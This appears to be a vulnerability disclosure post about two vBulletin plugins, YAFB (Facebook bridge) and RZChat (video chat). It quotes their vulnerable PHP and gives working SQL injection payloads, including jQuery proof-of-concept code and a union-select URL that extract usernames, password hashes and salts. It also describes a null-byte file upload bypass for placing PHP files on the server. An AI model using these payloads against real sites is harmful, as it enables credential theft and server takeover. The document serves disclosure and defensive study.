vBulletin YAFB – Yay! Another Facebook Bridge Plugin – SQL Injection

Plugin: http://www.vbulletin.org/forum/showthread.php?t=232457
Version: <= 3.3.2 (latest) The vulnerability resides in the /fbb/facebook.php file which is included in the /facebook.php file in the root of the forum. Line 211 to 245 in /fbb/facebook.php. First you see that they defined post_id as a TYPE_STR, which is a string, that makes it possible to send any string we want, as long as they don't sanitize it. Now take look at the first and second if statement. If the post_id variable contains an underscore, it will gladly accept the post_id variable in the UPDATE query in the next if statement without escaping/sanitizing it.

if ($_REQUEST[‘do’] == ‘update_log’) {
	$vbulletin->input->clean_array_gpc(‘p’, array(
		‘log_id’ => TYPE_UINT,
		‘post_id’ => TYPE_STR,
		‘exception’ => TYPE_STR,
		‘threadid’ => TYPE_UINT,
	));
	
	if ($vbulletin->GPC[‘log_id’] > 0) {
		if (strpos($vbulletin->GPC[‘post_id’],’_’) !== false) {
			$log_entry = array(
				‘result’ => $vbulletin->GPC[‘post_id’],
			);
		} else {
			$log_entry = array(
				‘result’ => $vbulletin->GPC[‘exception’],
				‘is_exception’ => 1,
			);
		}
		
		$vbulletin->db->query_write(fetch_query_sql($log_entry,’fbb_log’,”WHERE logid = {$vbulletin->GPC[‘log_id’]}”));
		
		if (empty($log_entry[‘is_exception’])) {
			if ($vbulletin->GPC[‘threadid’]) {
				//update Facebook PostID for the target thread (which has just been published to Facebook)
				$vbulletin->db->query(”
					UPDATE `” . TABLE_PREFIX . “thread`
					SET fbpid = ‘{$vbulletin->GPC[‘post_id’]}’
					WHERE threadid = ” . intval($vbulletin->GPC[‘threadid’]) . ”
				“);
			}
			
			($hook = vBulletinHook::fetch_hook(‘fbb_update_log’)) ? eval($hook) : false;
		}
	}
	
	exit;
}

The variable post_id is not properly sanitized, it’s also defined as a string while it should be an integer.

Since it’s in an UPDATE statement, you are limited to what you can do.
It’s very easy to update any column in the thread table of vBulletin this way, you can do this to any thread.

Example POST request:

POST to:	facebook.php
POST data:	do: update_log
		log_id: 1
		exception: somethingrandom
		post_id: 1', title='_SQL Injection
		securitytoken: SECURITYTOKEN

Proof of concept in jQuery:

$.post("facebook.php", {
	do: 'update_log', 
	log_id: 1, 
	threadid: 1, 
	exception: 'something', 
	post_id: "1', title='_SQL Injection", 
	securitytoken: SECURITYTOKEN
	},function(data){
		console.log(data);
});

This will update the title of thread with id 1 to _SQL Injection.
Note that the underscore is required since the script checks for an underscore in the variable.

However, we can also extract any data out of any table by doing something like the following:

$.post("facebook.php", {
	do: 'update_log', 
	log_id: 1, 
	threadid: 1, 
	exception: 'something', 
	post_id: "1', title = (SELECT concat(username, 0x3a, password, 0x3a, salt) FROM user WHERE userid = 1), keywords = '_hi", 
	securitytoken: SECURITYTOKEN
	},function(data){
		console.log(data);
});

This will change the title of the thread to the username, password and salt of userid 1.
Now of course you would want to change the title of the thread back to its original state.

YAFB SQL Injection

Video Chat By rayzzz.com (RZChat) – SQL Injection / Arbitrary File Upload

The video chat plugin by http://rayzzz.com is a Flash-based powerful chat solution for social sites with many features, such as: audio/video broadcastings, private conversations, chat history and others. This plugin is available for many platforms such as vBulletin, Drupal, elgg and plenty of others.

http://www.vbulletin.org/forum/showthread.php?t=311868
http://www.vbulletin.org/forum/showthread.php?t=311867
https://community.elgg.org/plugins/1845064/1.0.1/video-chat
https://www.drupal.org/sandbox/rayzzz.com/2073153

It’s vulnerable to the following:
– SQL Injection
– Arbitrary File Upload
– Bad Authentication

SQL Injection
Pretty much all queries use variables which are not being sanitized.
One of the functions we can easily exploit is the actionSearchUser function which then calls the _searchUser function in /rzchat/rz_integration.php.

	function _searchUser($sValue, $sField = "ID"){
	    if($sField == "ID")
		   $sField = "userid";
		else
		   $sField = "username";
		$sId = $this->oDb->getValue("SELECT `userid` FROM `" . $this->DB_PREFIX . "user` WHERE `" . $sField . "` = '" . $sValue . "' LIMIT 1");
		return $sId;
	}

We can grab any information out of the database by making a GET request to:
http://example.com/rzchat/XML.php?rzaction=SearchUser¶m=ID&value=2' union select concat(username,0x3a,password,0x3a,salt) from user where userid = '1

Which will then display the username, password and salt of userid = 1.

Arbitrary File Upload
The actionUploadFile function in the rz_module.php file does not check on the file extension, but only tries to change it to a .temp file, we can ignore this by adding a null byte.

    function actionUploadFile(){
		$sSender = $this->_getRequestVar("sender");
        if(empty($sSender))
			return;
        if(is_uploaded_file($_FILES['Filedata']['tmp_name'])) {
            $sFilePath = $this->sFilesPath . $sSender . ".temp";
            @unlink($sFilePath);
            move_uploaded_file($_FILES['Filedata']['tmp_name'], $sFilePath);
            @chmod($sFilePath, 0644);
        }
    }

We exploit this by using a form like this:

Simply upload any php file you want and the file will be located at http://example.com/rzchat/files/file.php

Bad Authentication
None of the functions check if the current user is authenticated or authorized to access the function.
You could for example change rooms, delete rooms and ban any user you want.

Images

RZChat SQL Injection